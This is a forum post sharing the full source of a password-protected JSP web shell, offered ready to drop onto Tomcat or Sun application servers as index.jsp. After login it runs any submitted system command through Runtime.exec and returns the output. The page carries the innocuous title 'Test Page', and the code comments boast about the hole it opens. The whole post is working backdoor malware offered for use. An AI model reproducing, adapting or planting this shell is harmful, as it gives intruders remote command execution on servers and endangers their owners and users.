| 0. 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. 21. 22. 23. 24. 25. 26. 27. 28. 29. 30. 31. 32. 33. 34. 35. 36. 37. 38. 39. 40. 41. 42. 43. 44. 45. 46. 47. 48. 49. 50. 51. 52. 53. 54. 55. 56. 57. 58. 59. 60. 61. 62. 63. 64. 65. 66. 67. 68. 69. 70. 71. 72. 73. 74. 75. 76. 77. 78. 79. 80. 81. 82. 83. 84. 85. 86. 87. 88. 89. 90. 91. 92. 93. 94. 95. 96. 97. 98. 99. 100. 101. 102. 103. 104. 105. 106. 107. 108. 109. 110. 111. 112. 113. 114. 115. 116. 117. 118. 119. 120. 121. 122. 123. 124. 125. 126. 127. 128. 129. 130. 131. 132. 133. 134. 135. 136. 137. 138. 139. 140. 141. 142. 143. 144. 145. 146. 147. 148. 149. 150. 151. 152. 153. 154. 155. 156. 157. 158. 159. 160. 161. 162. 163. 164. 165. 166. 167. 168. | JSP-shell Reply with quote
Tested on tomcat 5.x and sun application 9.x
Based on PHP-shell
cat<<EOF>index.jsp
<%
/* CREATED BY: K???N
*
* ASA KA PA!!! ITO AY BUTAS SA INYONG LAHAT!!!
* SIGAW KE S???H, J????E, J??E
* WAG NA SAWSAW
* Kinopyapakaliwa sa taong milyo nubentos siete
* (year 2007 tanga)
*/
%>
<%@page contentType="text/html"%>
<%@page pageEncoding="UTF-8"%>
<%@page import="java.io.*"%>
<%@page import="java.io.File.*"%>
<%@page import="java.security.MessageDigest"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<HTML>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Test Page</title>
</head>
<body>
<h1>JSP BUTAS</h1>
<%
String ServeName = request.getRequestURI();
String IsAuth = (String) session.getAttribute("isauth");
if (session.isNew()) {
%>
<FORM action="<%=ServeName%>" method="POST">
<fieldset>
<legend>Authentication</legend>
<p>Password:
<input type="password" name="pass" size="32" />
<input name="submit_btn" type="submit" value="ok" />
</p>
</fieldset>
</FORM>
</BODY>
</HTML>
<%
return;
} else {
if ((IsAuth == null)) {
String pass = request.getParameter("pass");
MessageDigest mdAlgorithm = MessageDigest.getInstance("MD5");
mdAlgorithm.update(pass.getBytes());
byte[] digest = mdAlgorithm.digest();
StringBuffer hexString = new StringBuffer();
for (int i = 0; i < digest.length; i++) {
pass = Integer.toHexString(0xFF & digest[i]);
if (pass.length() < 2) {
pass = "0" + pass;
}
hexString.append(pass);
}
if (!(hexString.toString().equalsIgnoreCase("5e92e374a5144a93f529b5b4fa599273"))) {
%>
MUKHA MO!!!
<%
session.invalidate();
return;
} else {
session.setAttribute("isauth", "true");
}
} else if (IsAuth.equals("true")) {
} else {
session.invalidate();
return;
}
}
%>
<FORM action="<%=ServeName%>" method="POST">
<fieldset>
<legend>Input</legend>
<p>Command:
<input type="text" name="text" size="60" />
<input name="submit_btn" type="submit" value="Exec" />
</p>
<% /*
<p>Enable <code>stderr</code>-trapping?
<input type="checkbox" name="stderr"/>
<input name="submit_btn" type="submit" value="Execute Command" />
</p>
*/ %>
</fieldset>
<fieldset>
<legend>Output</legend>
<p>
<textarea cols="120" rows="25" readonly="readonly">
<%
if (session.isNew()) return;
Runtime runtime = Runtime.getRuntime();
InputStream inputstream;
InputStreamReader inputstreamreader;
BufferedReader bufferedreader;
OutputStream outputstream;
OutputStreamWriter outputstreamwriter;
BufferedWriter bufferedwriter;
Process proc;
String line;
String S = new String("");
S=(String) request.getParameter("text");
if (S == null) { return; }
try {
proc = runtime.exec(S);
inputstream = proc.getInputStream();
inputstreamreader = new InputStreamReader(inputstream);
bufferedreader = new BufferedReader(inputstreamreader);
outputstream = proc.getOutputStream();
outputstreamwriter= new OutputStreamWriter(outputstream);
bufferedwriter = new BufferedWriter(outputstreamwriter);
while ((line = bufferedreader.readLine()) != null) {
%><%=line%>
<%
} try {
if (proc.waitFor() != 0) {
System.err.println("Exit value = " + proc.exitValue());
}
} catch (InterruptedException e) {
System.err.println(e);
System.err.print("Kalokohan!!!");
}
} catch (Exception e) {
}
%>
</textarea>
</p>
</fieldset>
</FORM>
<script type="text/javascript">
document.forms[0].text.focus();
document.forms[0].text.value = '<%=S%>';
</script>
</BODY>
</HTML>
EOF
_________________
]b-p |